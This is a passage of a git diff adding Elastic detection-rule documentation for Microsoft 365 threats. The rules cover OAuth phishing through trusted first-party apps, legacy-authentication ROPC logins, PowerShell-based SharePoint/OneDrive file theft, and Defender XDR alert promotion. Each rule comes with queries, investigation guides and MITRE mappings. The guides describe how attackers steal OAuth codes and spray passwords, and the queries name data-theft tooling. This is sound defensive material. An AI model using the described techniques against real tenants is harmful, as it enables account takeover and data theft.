T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-m365-identity-oauth-phishing-via-first-party-microsoft-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-m365-identity-oauth-phishing-via-first-party-microsoft-application.asciidoc new file mode 100644 index 0000000000..2108bf24dd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-m365-identity-oauth-phishing-via-first-party-microsoft-application.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-28-m365-identity-oauth-phishing-via-first-party-microsoft-application]] +=== M365 Identity OAuth Phishing via First-Party Microsoft Application + +Detects potentially suspicious OAuth authorization activity in Microsoft 365 where first-party Microsoft applications from the FOCI (Family of Client IDs) group request access to Microsoft Graph or legacy Azure AD resources. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing these resources are flagged, as they are commonly abused in phishing campaigns like ConsentFix. Additionally, any FOCI family application accessing the deprecated Windows Azure Active Directory resource is flagged since this API is rarely used legitimately and attackers target it for stealth. First-party apps are trusted by default in all tenants and cannot be blocked, making them ideal for OAuth phishing attacks. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-25m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://pushsecurity.com/blog/consentfix +* https://github.com/secureworks/family-of-client-ids-research + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity OAuth Phishing via First-Party Microsoft Application* + + +This rule detects OAuth authorization activity where FOCI (Family of Client IDs) applications access Microsoft Graph or legacy Azure AD resources. Adversaries exploit these trusted first-party apps in phishing campaigns like ConsentFix to steal authorization codes and exchange them for tokens from attacker infrastructure. The rule specifically looks for `OAuth2:Authorize` requests with `Redirect` status, which indicates the user was redirected after authorization and the OAuth code was exposed. + +The rule uses split detection logic: developer tools (Azure CLI, VSCode, PowerShell) accessing either Graph or legacy AAD are flagged, while any FOCI app accessing legacy AAD is flagged since this deprecated API is rarely used legitimately and attackers target it for stealth. + + +*Possible investigation steps* + + +- Review `o365.audit.UserId` to identify the impacted account and validate whether the user expected to authorize the application. +- Check `o365.audit.ActorIpAddress` for unexpected IPs, especially outside corporate ranges or from proxy/VPN networks. +- Examine `user_agent.original` and `o365.audit.DeviceProperties` for suspicious patterns (automation tools, headless browsers, unusual browser/OS combinations). +- Confirm `o365.audit.Target.ID` to identify the resource being accessed. Legacy AAD (`00000002-0000-0000-c000-000000000000`) access is unusual for most users. +- Review `o365.audit.ExtendedProperties.RequestType` and `ResultStatusDetail` - `OAuth2:Authorize` with `Redirect` indicates the OAuth code was exposed to the user. +- Look for subsequent `OAuth2:Token` events from different IPs using the same `o365.audit.UserId`, which indicates token exchange from attacker infrastructure. +- Pivot to `azure.graphactivitylogs` to check for follow-up Graph API activity (mailbox enumeration, file access) from unfamiliar locations. +- Correlate with `azure.signinlogs` for additional sign-in context and device details. + + +*False positive analysis* + + +- Developers or IT users intentionally using Visual Studio Code, Azure CLI, or Azure PowerShell to connect to Microsoft 365. +- Legitimate VS Code extensions that sync or query Graph API data (calendars, tasks, cloud-hosted notebooks). +- Enterprise automation or CI/CD pipelines using these tools with user-delegated permissions. +- Exclude known user agents and hosts that regularly use these applications against Graph. +- Whitelist specific source IPs or devices tied to developer machines. + + +*Response and remediation* + + +- Contact the user to confirm if they expected this login or may have shared an OAuth code via phishing page, Signal, or WhatsApp. +- If unauthorized, revoke all refresh tokens for the user and reset credentials. +- Review recent Microsoft Graph activity (email, file access, Teams) for signs of data exfiltration. +- Block or restrict future use of OAuth tokens from unknown apps or IPs via Conditional Access. +- Check `azure.auditlogs` for device registration events and remove any unauthorized registrations. +- Educate users about OAuth phishing techniques and the risks of sharing authorization codes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" + and event.action: "UserLoggedIn" + and o365.audit.ExtendedProperties.RequestType: "OAuth2:Authorize" + and o365.audit.ExtendedProperties.ResultStatusDetail: "Redirect" + and o365.audit.UserType: ("0" or "2" or "3" or "5" or "6" or "10") + and ( + ( + o365.audit.ApplicationId: ( + "aebc6443-996d-45c2-90f0-388ff96faa56" or + "04b07795-8ddb-461a-bbee-02f9e1bf7b46" or + "1950a258-227b-4e31-a9cf-717495945fc2" + ) + and o365.audit.Target.ID: ( + "00000003-0000-0000-c000-000000000000" or + "00000002-0000-0000-c000-000000000000" + ) + ) or + ( + o365.audit.ApplicationId: ( + "00b41c95-dab0-4487-9791-b9d2c32c80f2" or + "1fec8e78-bce4-4aaf-ab1b-5451cc387264" or + "26a7ee05-5602-4d76-a7ba-eae8b7b67941" or + "27922004-5251-4030-b22d-91ecd9a37ea4" or + "4813382a-8fa7-425e-ab75-3b753aab3abb" or + "ab9b8c07-8f02-4f72-87fa-80105867a763" or + "d3590ed6-52b3-4102-aeff-aad2292ab01c" or + "872cd9fa-d31f-45e0-9eab-6e460a02d1f1" or + "af124e86-4e96-495a-b70a-90f90ab96707" or + "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8" or + "844cca35-0656-46ce-b636-13f48b0eecbd" or + "87749df4-7ccf-48f8-aa87-704bad0e0e16" or + "cf36b471-5b44-428c-9ce7-313bf84528de" or + "0ec893e0-5785-4de6-99da-4ed124e5296c" or + "22098786-6e16-43cc-a27d-191a01a1e3b5" or + "4e291c71-d680-4d0e-9640-0a3358e31177" or + "57336123-6e14-4acc-8dcf-287b6088aa28" or + "57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0" or + "66375f6b-983f-4c2c-9701-d680650f588f" or + "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223" or + "a40d7d7d-59aa-447e-a655-679a4107e548" or + "a569458c-7f2b-45cb-bab9-b7dee514d112" or + "b26aadf8-566f-4478-926f-589f601d9c74" or + "c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12" or + "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0" or + "e9c51622-460d-4d3d-952d-966a5b1da34c" or + "eb539595-3fe1-474e-9c1d-feb3625d1be5" or + "ecd6b820-32c2-49b6-98a6-444530e5a77a" or + "f05ff7c9-f75a-4acd-a3b5-f4b6a870245d" or + "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34" or + "be1918be-3fe3-4be9-b32b-b542fc27f02e" or + "cab96880-db5b-4e15-90a7-f3f1d62ffe39" or + "d7b530a4-7680-4c23-a8bf-c52c121d2e87" or + "dd47d17a-3194-4d86-bfd5-c6ae6f5651e3" or + "e9b154d0-7658-433b-bb25-6b8e0a8a7c59" + ) + and o365.audit.Target.ID: "00000002-0000-0000-c000-000000000000" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-m365-identity-oauth-ropc-grant-via-legacy-authentication-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-m365-identity-oauth-ropc-grant-via-legacy-authentication-client.asciidoc new file mode 100644 index 0000000000..ae8f1901a8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-m365-identity-oauth-ropc-grant-via-legacy-authentication-client.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-28-m365-identity-oauth-ropc-grant-via-legacy-authentication-client]] +=== M365 Identity OAuth ROPC Grant via Legacy Authentication Client + +Identifies a successful login by a user principal through a legacy authenticated client (such as Authenticated SMTP, IMAP, POP, or Exchange ActiveSync) in the Microsoft 365 Unified Audit Log, evidenced by the "BAV2ROPC" user agent. Legacy basic-authentication clients are translated by Entra ID into a Resource Owner Password Credentials (ROPC) grant, a single-factor flow that submits the user's password directly and bypasses interactive multi-factor authentication. This is commonly abused during password spraying and account takeover. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign +* https://redcanary.com/blog/threat-detection/bav2ropc/ +* https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth-ropc +* https://learn.microsoft.com/en-us/office/office-365-management-api/office-365-management-activity-api-schema +* https://www.huntress.com/blog/lshiy-password-spray-attack + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity OAuth ROPC Grant via Legacy Authentication Client* + + +The Resource Owner Password Credentials (ROPC) flow allows a client to obtain tokens by submitting a user's credentials directly, without interactive sign-in. Legacy authentication clients (Authenticated SMTP, IMAP, POP, Exchange ActiveSync) that use basic authentication are translated by Entra ID into ROPC grants, which are single-factor and bypass interactive MFA. Microsoft 365 records these logins in the Unified Audit Log as `UserLoggedIn` events with the `BAV2ROPC` user agent. Adversaries abuse this flow for password spraying and account takeover against accounts that lack MFA enforcement or fall outside legacy-authentication blocking. + +This rule identifies a successful ROPC/legacy-client login for a user principal not seen performing this activity in the last 10 days. Because the Unified Audit Log is a separate pipeline from the Entra ID sign-in diagnostic stream, this rule provides coverage even when non-interactive sign-in logs are not forwarded to the SIEM. + + +*Possible investigation steps* + +- Review `o365.audit.UserId` to identify the account that authenticated and determine whether it is expected to use legacy authentication clients. +- Review `o365.audit.ApplicationId` and `o365.audit.Target.ID` to identify the targeted resource. `00000002-0000-0ff1-ce00-000000000000` is Office 365 Exchange Online, the typical target of Authenticated SMTP. +- Confirm the client via `user_agent.original: "BAV2ROPC"`, which indicates a legacy basic-authentication client translated into a ROPC grant. +- Review `o365.audit.ClientIP` / `source.ip` and geolocation to determine whether the source is expected for this user. Correlate with known-malicious infrastructure or unusual ASNs. +- Pivot on `o365.audit.UserId` in Entra ID Sign-In Logs (`logs-azure.signinlogs-*`) to corroborate the login, and look for a preceding burst of failed authentications (password spraying) from the same source or against the same account. +- Review subsequent activity by the account (mailbox access, rule creation, mail forwarding, OAuth consent) for signs of post-compromise actions on objectives. + + +*False positive analysis* + +- Legitimate legacy applications, service accounts, or scripts that still rely on Authenticated SMTP or other basic-authentication clients may trigger this rule. Validate the account, source, and business purpose, and exclude confirmed benign service accounts. +- Multifunction devices, scan-to-email appliances, and monitoring tools that submit mail via Authenticated SMTP can generate this activity. These are typically stable in source IP and account and can be excluded once verified. + + +*Response and remediation* + +- If the login is confirmed malicious, disable the account, revoke active sessions and refresh tokens, and reset the password. +- Disable SMTP AUTH and other legacy authentication for the affected mailbox (`Set-CASMailbox -SmtpClientAuthenticationDisabled $true`) and, where feasible, tenant-wide. +- Enforce a Conditional Access policy that requires MFA and blocks legacy authentication for the affected user and, ideally, all users. +- Investigate the source IP and any preceding failed-authentication activity to scope a potential password-spray campaign. +- Review the account's activity after the login (mailbox rules, forwarding, delegate changes, OAuth grants) and remediate any unauthorized changes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" and + event.code: "AzureActiveDirectoryStsLogon" and + event.action: "UserLoggedIn" and + user_agent.original: "BAV2ROPC" and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-m365-sharepoint-onedrive-file-access-via-powershell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-m365-sharepoint-onedrive-file-access-via-powershell.asciidoc new file mode 100644 index 0000000000..a1d01e6a88 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-m365-sharepoint-onedrive-file-access-via-powershell.asciidoc @@ -0,0 +1,140 @@ +[[prebuilt-rule-8-19-28-m365-sharepoint-onedrive-file-access-via-powershell]] +=== M365 SharePoint/OneDrive File Access via PowerShell + +Identifies file downloads or access from OneDrive or SharePoint using PowerShell-based user agents. Adversaries may use native PowerShell cmdlets like Invoke-WebRequest or Invoke-RestMethod with Microsoft Graph API to exfiltrate data after compromising OAuth tokens via device code phishing or other credential theft techniques. This rule detects both direct PowerShell access and PnP PowerShell module usage for file operations. FileAccessed events are included to detect adversaries reading file content via API and saving locally, bypassing traditional download methods. Normal users access SharePoint/OneDrive via browsers or sync clients, making PowerShell-based file access inherently suspicious. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.volexity.com/blog/2025/02/13/multiple-russian-threat-actors-targeting-microsoft-device-code-authentication/ +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft +* https://pnp.github.io/powershell/ + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Collection +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 SharePoint/OneDrive File Access via PowerShell* + + +This rule detects file downloads and access from OneDrive or SharePoint using PowerShell-based user agents. Threat actors commonly use device code phishing to obtain OAuth tokens, then use native PowerShell or PnP PowerShell modules to enumerate and exfiltrate files from SharePoint and OneDrive. FileAccessed events are included because adversaries may read file content via the Graph API `/content` endpoint and save locally, bypassing traditional download events. + + +*Possible Investigation Steps* + + +- Identify the user whose token was used and determine if they typically use PowerShell for file operations. +- Review the OAuth application/client ID used to authenticate. Look for public client IDs that may indicate device code phishing. +- Check the source IP address and compare with the user's typical access locations. +- Identify which SharePoint site or OneDrive was accessed. +- Correlate with Azure AD sign-in logs to determine if device code authentication was used. +- Look for rapid sequential file downloads from the same session, which may indicate bulk data exfiltration. +- Check for search activity from the same user/session that may indicate reconnaissance before download. + + +*False Positive Analysis* + + +- IT administrators legitimately using PnP PowerShell for site management, migration, or backup operations. +- Automated scripts using PowerShell for legitimate data processing or synchronization tasks. +- Consider creating exceptions for known automation service accounts. + + +*Response and Remediation* + + +- If unauthorized activity is confirmed, immediately revoke the OAuth token and terminate active sessions for the affected user. +- Reset the user's credentials and require reauthentication with MFA. +- Review all files accessed during the session to assess data exposure. +- Implement conditional access policies to restrict device code authentication flow. +- Consider blocking public client IDs that are not needed for business operations. +- Review and audit OAuth application permissions in your tenant. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" and + event.provider: ("SharePoint" or "OneDrive") and + event.action: ("FileDownloaded" or "FileAccessed") and + event.outcome: "success" and + user_agent.original: (*PowerShell* or *PnPPS* or *PnPCoreSDK* or *SharePointPnP*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Sharepoint +** ID: T1213.002 +** Reference URL: https://attack.mitre.org/techniques/T1213/002/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-microsoft-defender-xdr-alert-external-alerts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-microsoft-defender-xdr-alert-external-alerts.asciidoc new file mode 100644 index 0000000000..d28de6b7ca --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-microsoft-defender-xdr-alert-external-alerts.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-28-microsoft-defender-xdr-alert-external-alerts]] +=== Microsoft Defender XDR Alert External Alerts + +Generates a detection alert for each Microsoft Defender XDR alert written to the configured indices. Microsoft Defender emits multiple update events for the same alert over its lifecycle, all sharing a stable alert identifier. This rule suppresses those update events so that a single, continuous Elastic alert is maintained per Defender alert rather than a new alert per update. Enabling this rule allows you to immediately begin investigating Microsoft Defender XDR alerts in the app. + +*Rule type*: query + +*Rule indices*: + +* logs-m365_defender.alert-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://docs.elastic.co/en/integrations/m365_defender + +*Tags*: + +* Data Source: Microsoft Defender XDR +* Use Case: Threat Detection +* Resources: Investigation Guide +* Promotion: External Alerts + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Defender XDR Alert External Alerts* + + +Microsoft Defender XDR is a unified pre- and post-breach enterprise defense suite that natively coordinates detection, prevention, investigation, and response across endpoints, identities, email, and applications. The alert data stream (`logs-m365_defender.alert-*`) carries pre-correlated alerts already triaged by Defender. This rule promotes each Defender alert into an Elastic detection alert so analysts can investigate without leaving the app. + +Microsoft Defender emits several update events for the same alert as its status, classification, and evidence evolve. Every update shares the same stable Defender alert identifier (`m365_defender.alert.id`, which the integration also copies into `event.id`). The rule groups on that identifier so subsequent updates accumulate into the existing Elastic alert rather than creating duplicates. + +If you also collect Microsoft Defender alerts through the Microsoft 365 Unified Audit Log (`logs-o365.audit-*`) rather than the native integration data stream, the M365 Defender Alerts Signal (UAL) building block rule (rule_id: 054853f3-2ce0-41f3-a6eb-4a4867f39cdc) generates correlation signals from that source and can be used alongside this promotion rule. + + +*Possible investigation steps* + + +- Review `m365_defender.alert.title`, `m365_defender.alert.category`, and `m365_defender.alert.threat_display_name` to understand what Defender detected. +- Pivot to the Defender portal using `m365_defender.alert.incident_web_url.original` for the full evidence graph, process tree, and remediation status. +- Examine the evidence fields under `m365_defender.alert.evidence.*` (host, file, process, user account, URL, sender) to scope the impacted entities. +- Check `m365_defender.alert.incident_id` to correlate the alert with its parent Defender incident and any sibling alerts. +- Review `m365_defender.alert.status` and `m365_defender.alert.classification` to see whether Defender has already resolved or classified the alert. + + +*False positive analysis* + + +- Defender alerts are pre-correlated and tuned by Microsoft, so true false positives are uncommon. When they occur, confirm with the responsible team before excluding. +- Alerts involving known and trusted administrative tools, security assessments, or scheduled automation may be benign. Validate intent before adding an exception. +- Use `m365_defender.alert.classification` and `m365_defender.alert.determination` to filter out activity Defender itself has marked as a false positive. + + +*Response and remediation* + + +- Isolate affected endpoints or disable affected accounts if malicious behavior is confirmed. +- Use the Defender portal to action native response options (quarantine, automated investigation, account remediation) for the alert. +- Investigate how the threat entered the environment and close any exploited gaps. +- Reset credentials for compromised accounts or escalate to incident response. +- Document the findings and tune the upstream Defender policy or add an Elastic exception as appropriate. + + +==== Setup + + + +*Setup* + + + +*Microsoft Defender XDR Alert Integration* + +This rule is designed to capture alert events generated by the Microsoft Defender XDR integration and promote them as Elastic detection alerts. + +To capture Microsoft Defender XDR alerts, install and configure the Microsoft Defender XDR integration to ingest alert events into the `logs-m365_defender.alert-*` index pattern. + + +*Alert suppression and the Defender update lifecycle* + + +Microsoft Defender writes multiple update events per alert during its lifecycle, all sharing the same stable identifier (`m365_defender.alert.id`, copied to `event.id`). This rule suppresses on that identifier so updates accumulate into one Elastic alert. Note the following alert suppression semantics: + +- Suppression applies going forward from when the suppressing alert is created; it does not retroactively merge alerts created before the rule was enabled. +- Updates are aggregated into the existing alert only while that alert is open and within the suppression window. If an analyst closes the suppressing alert, a later Defender update will open a new Elastic alert. +- The suppression window (default 1 day) is tunable. Size it to your environment's typical Defender alert lifecycle; extending it keeps a single alert open longer but delays new-alert creation for late updates. + + +*Avoiding duplicate alerts* + + +To avoid double-counting, enable either this alert-level rule or the Microsoft Defender XDR Incident External Alerts rule (incident-level), not both: a Defender incident's child alerts appear in both data streams. Choose incident-level for the least noise (one Elastic alert per Defender incident) or alert-level for finer-grained, per-alert triage. + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind: alert and data_stream.dataset: m365_defender.alert + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-microsoft-defender-xdr-incident-external-alerts.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-microsoft-defender-xdr-incident-external-alerts.asciidoc new file mode 100644 index 0000000000..b0701cf1b5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-microsoft-defender-xdr-incident-external-alerts.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-28-microsoft-defender-xdr-incident-external-alerts]] +=== Microsoft Defender XDR Incident External Alerts + +Generates a detection alert for each Microsoft Defender XDR incident written to the configured indices. Microsoft Defender emits multiple update events for the same incident as its member alerts and status evolve, all sharing a stable incident identifier. This rule suppresses those update events so that a single, continuous Elastic alert is maintained per Defender incident rather than a new alert per update. Enabling this rule allows you to immediately begin investigating Microsoft Defender XDR incidents in the app. + +*Rule type*: query + +*Rule indices*: + +* logs-m365_defender.incident-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1m + +*Searches indices from*: now-2m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 1000 + +*References*: + +* https://docs.elastic.co/en/integrations/m365_defender + +*Tags*: + +* Data Source: Microsoft Defender XDR +* Use Case: Threat Detection +* Resources: Investigation Guide +* Promotion: External Alerts + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Microsoft Defender XDR Incident External Alerts* + + +Microsoft Defender XDR correlates related alerts across endpoints, identities, email, and applications into a single incident, providing the full attack story in one place. The incident data stream (`logs-m365_defender.incident-*`) carries these pre-correlated incidents. This rule promotes each Defender incident into an Elastic detection alert so analysts can investigate the correlated story without leaving the app. + +Microsoft Defender emits several update events for the same incident as member alerts are added and status, classification, and evidence evolve. Every update shares the same stable Defender incident identifier (`m365_defender.incident.id`, which the integration also copies into `event.id`). The rule groups on that identifier so subsequent updates accumulate into the existing Elastic alert rather than creating duplicates. + +The member alerts that make up an incident may also arrive through the Microsoft 365 Unified Audit Log (`logs-o365.audit-*`) rather than the native integration data stream. In that case the M365 Defender Alerts Signal (UAL) building block rule (rule_id: 054853f3-2ce0-41f3-a6eb-4a4867f39cdc) generates correlation signals from that source and can be used alongside this promotion rule. + + +*Possible investigation steps* + + +- Review `m365_defender.incident.display_name`, `m365_defender.incident.severity`, and `m365_defender.incident.tags` to understand the scope and priority of the incident. +- Pivot to the Defender portal using `m365_defender.incident.web_url.original` for the correlated attack story, evidence graph, and recommended actions. +- Examine the member alert fields under `m365_defender.incident.alert.*` (titles, MITRE techniques, detection sources, evidence) to scope the impacted entities and behaviors. +- Review `m365_defender.incident.status`, `m365_defender.incident.classification`, and `m365_defender.incident.determination` to see whether Defender has already resolved or classified the incident. +- Check `m365_defender.incident.redirect_incident_id` to confirm the incident has not been merged into another incident. + + +*False positive analysis* + + +- Defender incidents are pre-correlated and tuned by Microsoft, so true false positives are uncommon. When they occur, confirm with the responsible team before excluding. +- Incidents driven entirely by known and trusted administrative tools, security assessments, or scheduled automation may be benign. Validate intent before adding an exception. +- Use `m365_defender.incident.classification` and `m365_defender.incident.determination` to filter out activity Defender itself has marked as a false positive. + + +*Response and remediation* + + +- Isolate affected endpoints or disable affected accounts if malicious behavior is confirmed across the incident's member alerts. +- Use the Defender portal to action native response options (quarantine, automated investigation, account remediation) for the incident. +- Investigate how the threat entered the environment and close any exploited gaps. +- Reset credentials for compromised accounts or escalate to incident response. +- Document the findings and tune the upstream Defender policy or add an Elastic exception as appropriate. + + +==== Setup + + + +*Setup* + + + +*Microsoft Defender XDR Incident Integration* + +This rule is designed to capture incident events generated by the Microsoft Defender XDR integration and promote them as Elastic detection alerts. + +To capture Microsoft Defender XDR incidents, install and configure the Microsoft Defender XDR integration to ingest incident events into the `logs-m365_defender.incident-*` index pattern. + + +*Alert suppression and the Defender update lifecycle* + + +Microsoft Defender writes multiple update events per incident during its lifecycle, all sharing the same stable identifier (`m365_defender.incident.id`, copied to `event.id`). This rule suppresses on that identifier so updates accumulate into one Elastic alert. Note the following alert suppression semantics: + +- Suppression applies going forward from when the suppressing alert is created; it does not retroactively merge alerts created before the rule was enabled. +- Updates are aggregated into the existing alert only while that alert is open and within the suppression window. If an analyst closes the suppressing alert, a later Defender update will open a new Elastic alert. +- The suppression window (default 1 day) is tunable. Size it to your environment's typical Defender incident lifecycle; extending it keeps a single alert open longer but delays new-alert creation for late updates. + + +*Avoiding duplicate alerts* + + +To avoid double-counting, enable either this incident-level rule or the Microsoft Defender XDR Alert External Alerts rule (alert-level), not both: a Defender incident's child alerts appear in both data streams. Incident-level (this rule) produces the least noise (one Elastic alert per Defender incident) and is the recommended default; alert-level provides finer-grained, per-alert triage. + + +*Additional notes* + + +For information on troubleshooting the maximum alerts warning please refer to this https://www.elastic.co/guide/en/security/current/alerts-ui-monitor.html#troubleshoot-max-alerts[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.kind: alert and data_stream.dataset: m365_defender.incident + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-microsoft-graph-email-access-by-unusual-user-and-client.asciidoc 